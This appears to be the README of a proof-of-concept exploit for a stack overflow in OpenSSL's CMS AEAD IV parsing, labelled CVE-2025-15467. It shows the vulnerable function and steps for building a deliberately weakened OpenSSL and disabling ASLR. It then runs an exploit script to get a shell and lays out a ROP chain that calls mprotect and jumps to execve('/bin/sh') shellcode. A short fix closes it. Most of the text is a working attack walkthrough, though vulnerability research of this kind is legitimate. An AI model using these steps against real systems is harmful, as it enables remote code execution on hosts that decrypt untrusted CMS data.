int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

if (i > EVP_MAX_IV_LENGTH)
    return -1;

ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);